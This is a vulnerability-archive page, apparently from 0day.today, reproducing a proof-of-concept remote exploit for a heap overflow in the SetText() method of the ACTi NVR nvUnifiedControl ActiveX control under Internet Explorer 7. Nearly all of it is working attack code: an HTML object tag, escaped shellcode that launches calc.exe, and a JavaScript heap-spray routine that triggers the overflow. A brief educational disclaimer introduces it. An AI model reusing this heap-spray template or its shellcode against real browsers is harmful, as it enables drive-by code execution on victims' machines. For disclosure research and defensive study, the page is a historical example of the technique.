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NVR SP2 2.0 (nvUnifiedControl.dll v. 1.1.45.0) SetText() Remote Exploit
======================================================================= NVR SP2 2.0 (nvUnifiedControl.dll v. 1.1.45.0) SetText() Remote Exploit ======================================================================= ------------------------------------------------------------------------------------------ [PoC2] NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0) "SetText()" Remote BoF (Heap Spray Technique) url: http://www.acti.com/index.asp author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not be responsible for any damage. Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to this exploits. This control is marked as: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller KillBitSet: Falso Heap Spray Technique was developed by SkyLined (http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html.php) ------------------------------------------------------------------------------------------ <object id=boom classid="clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8" style="WIDTH: 578px; HEIGHT: 228px"></object> <input language=JavaScript onclick=tryMe() type=button value="Launch Exploit"> <script> var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); var spraySlide = unescape("%u9090%u9090"); var heapSprayToAddress = 0x0c0c0c0c; function tryMe() { var size_buff = 9000; var x = unescape("%0c%0c%0c%0c"); while (x.length<size_buff) x += x; x = x.substring(0,size_buff); boom.SetText(1, x, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1); } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return (spraySlide); } var heapBlockSize = 0x800000; var SizeOfHeapDataMoreover = 0x5; var payLoadSize = (shellcode.length * 2); var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover); var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize; var memory = new Array(); spraySlide = getSpraySlide(spraySlide,spraySlideSize); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + shellcode; } </script> # 0day.today [2024-12-25] #